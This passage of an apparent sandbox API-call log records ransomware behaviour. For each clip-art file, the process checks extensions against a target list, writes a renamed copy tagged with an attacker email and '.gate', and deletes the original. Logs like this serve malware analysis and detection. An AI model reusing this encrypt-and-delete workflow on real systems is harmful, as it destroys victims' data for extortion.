(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0299.460] lstrlenW (lpString=".zip") returned 4 [0299.460] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.460] lstrlenW (lpString=".rar") returned 4 [0299.460] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.460] lstrlenW (lpString=".bz2") returned 4 [0299.460] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.460] lstrlenW (lpString=".7z") returned 3 [0299.461] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0299.461] lstrlenW (lpString=".dbf") returned 4 [0299.461] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0299.461] lstrlenW (lpString=".1cd") returned 4 [0299.461] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0299.461] lstrlenW (lpString=".jpg") returned 4 [0299.461] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.461] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=2332) returned 1 [0299.461] CloseHandle (hObject=0x514) returned 1 [0299.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf")) returned 0x220 [0299.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0299.462] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.462] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0299.462] GetLastError () returned 0x0 [0299.462] ReadFile (in: hFile=0x514, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x91c, lpOverlapped=0x0) returned 1 [0299.615] WriteFile (in: hFile=0x528, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x920, lpOverlapped=0x0) returned 1 [0299.616] ReadFile (in: hFile=0x514, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0299.616] WriteFile (in: hFile=0x528, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0299.616] SetEndOfFile (hFile=0x528) returned 1 [0299.616] CloseHandle (hObject=0x528) returned 1 [0299.616] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.616] SetEndOfFile (hFile=0x514) returned 1 [0299.618] CloseHandle (hObject=0x514) returned 1 [0299.619] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0299.639] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf")) returned 1 [0299.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0299.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0299.640] lstrlenW (lpString=".doc") returned 4 [0299.640] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.640] lstrlenW (lpString=".docx") returned 5 [0299.640] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.640] lstrlenW (lpString=".pdf") returned 4 [0299.640] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.640] lstrlenW (lpString=".xls") returned 4 [0299.640] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.640] lstrlenW (lpString=".xlsx") returned 5 [0299.640] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.640] lstrlenW (lpString=".ppt") returned 4 [0299.640] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0299.640] lstrlenW (lpString=".zip") returned 4 [0299.640] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.640] lstrlenW (lpString=".rar") returned 4 [0299.640] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.640] lstrlenW (lpString=".bz2") returned 4 [0299.640] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.640] lstrlenW (lpString=".7z") returned 3 [0299.640] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0299.640] lstrlenW (lpString=".dbf") returned 4 [0299.640] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0299.640] lstrlenW (lpString=".1cd") returned 4 [0299.640] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0299.640] lstrlenW (lpString=".jpg") returned 4 [0299.640] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.641] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=2488) returned 1 [0299.641] CloseHandle (hObject=0x560) returned 1 [0299.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf")) returned 0x220 [0299.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0299.642] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.642] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0299.644] GetLastError () returned 0x0 [0299.644] ReadFile (in: hFile=0x560, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x9b8, lpOverlapped=0x0) returned 1 [0299.839] WriteFile (in: hFile=0x4f8, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x9c0, lpOverlapped=0x0) returned 1 [0299.840] ReadFile (in: hFile=0x560, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0299.840] WriteFile (in: hFile=0x4f8, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0299.840] SetEndOfFile (hFile=0x4f8) returned 1 [0299.840] CloseHandle (hObject=0x4f8) returned 1 [0299.840] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.840] SetEndOfFile (hFile=0x560) returned 1 [0299.842] CloseHandle (hObject=0x560) returned 1 [0299.843] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0299.843] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf")) returned 1 [0299.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0299.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0299.843] lstrlenW (lpString=".doc") returned 4 [0299.843] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.843] lstrlenW (lpString=".docx") returned 5 [0299.844] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.844] lstrlenW (lpString=".pdf") returned 4 [0299.844] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.844] lstrlenW (lpString=".xls") returned 4 [0299.844] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.844] lstrlenW (lpString=".xlsx") returned 5 [0299.844] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.844] lstrlenW (lpString=".ppt") returned 4 [0299.844] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0299.844] lstrlenW (lpString=".zip") returned 4 [0299.844] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.844] lstrlenW (lpString=".rar") returned 4 [0299.844] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.844] lstrlenW (lpString=".bz2") returned 4 [0299.844] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.844] lstrlenW (lpString=".7z") returned 3 [0299.844] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0299.844] lstrlenW (lpString=".dbf") returned 4 [0299.844] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0299.844] lstrlenW (lpString=".1cd") returned 4 [0299.844] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0299.844] lstrlenW (lpString=".jpg") returned 4 [0299.844] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.865] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=3696) returned 1 [0299.865] CloseHandle (hObject=0x4e8) returned 1 [0299.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf")) returned 0x220 [0299.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0299.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0299.917] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.917] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0299.918] GetLastError () returned 0x0 [0299.918] ReadFile (in: hFile=0x560, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0xe70, lpOverlapped=0x0) returned 1 [0300.011] WriteFile (in: hFile=0x4f8, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xe80, lpOverlapped=0x0) returned 1 [0300.345] ReadFile (in: hFile=0x560, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0300.345] WriteFile (in: hFile=0x4f8, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0300.345] SetEndOfFile (hFile=0x4f8) returned 1 [0300.346] CloseHandle (hObject=0x4f8) returned 1 [0300.346] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.346] SetEndOfFile (hFile=0x560) returned 1 [0300.420] CloseHandle (hObject=0x560) returned 1 [0300.420] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0300.421] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf")) returned 1 [0300.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0300.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0300.421] lstrlenW (lpString=".doc") returned 4 [0300.421] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.421] lstrlenW (lpString=".docx") returned 5 [0300.421] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.421] lstrlenW (lpString=".pdf") returned 4 [0300.421] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.421] lstrlenW (lpString=".xls") returned 4 [0300.421] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.421] lstrlenW (lpString=".xlsx") returned 5 [0300.421] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.421] lstrlenW (lpString=".ppt") returned 4 [0300.421] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0300.421] lstrlenW (lpString=".zip") returned 4 [0300.422] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.422] lstrlenW (lpString=".rar") returned 4 [0300.422] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.422] lstrlenW (lpString=".bz2") returned 4 [0300.422] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.422] lstrlenW (lpString=".7z") returned 3 [0300.422] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0300.422] lstrlenW (lpString=".dbf") returned 4 [0300.422] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0300.422] lstrlenW (lpString=".1cd") returned 4 [0300.422] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0300.422] lstrlenW (lpString=".jpg") returned 4 [0300.422] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.654] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=2636) returned 1 [0300.654] CloseHandle (hObject=0x52c) returned 1 [0300.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf")) returned 0x220 [0300.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0300.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0300.655] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.655] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0300.656] GetLastError () returned 0x0 [0300.656] ReadFile (in: hFile=0x52c, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0xa4c, lpOverlapped=0x0) returned 1 [0300.883] WriteFile (in: hFile=0x4b8, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xa50, lpOverlapped=0x0) returned 1 [0300.884] ReadFile (in: hFile=0x52c, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0300.884] WriteFile (in: hFile=0x4b8, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0300.884] SetEndOfFile (hFile=0x4b8) returned 1 [0300.884] CloseHandle (hObject=0x4b8) returned 1 [0300.884] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.884] SetEndOfFile (hFile=0x52c) returned 1 [0300.886] CloseHandle (hObject=0x52c) returned 1 [0300.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0300.887] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf")) returned 1 [0300.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0300.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0300.887] lstrlenW (lpString=".doc") returned 4 [0300.887] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.887] lstrlenW (lpString=".docx") returned 5 [0300.887] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.887] lstrlenW (lpString=".pdf") returned 4 [0300.887] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.887] lstrlenW (lpString=".xls") returned 4 [0300.888] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.888] lstrlenW (lpString=".xlsx") returned 5 [0300.888] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.888] lstrlenW (lpString=".ppt") returned 4 [0300.888] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0300.888] lstrlenW (lpString=".zip") returned 4 [0300.888] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.888] lstrlenW (lpString=".rar") returned 4 [0300.888] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.888] lstrlenW (lpString=".bz2") returned 4 [0300.888] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.888] lstrlenW (lpString=".7z") returned 3 [0300.888] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0300.888] lstrlenW (lpString=".dbf") returned 4 [0300.888] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0300.888] lstrlenW (lpString=".1cd") returned 4 [0300.888] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0300.888] lstrlenW (lpString=".jpg") returned 4 [0300.888] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.360] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=3764) returned 1 [0301.360] CloseHandle (hObject=0x554) returned 1 [0301.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf")) returned 0x220 [0301.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0301.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0301.669] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.670] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 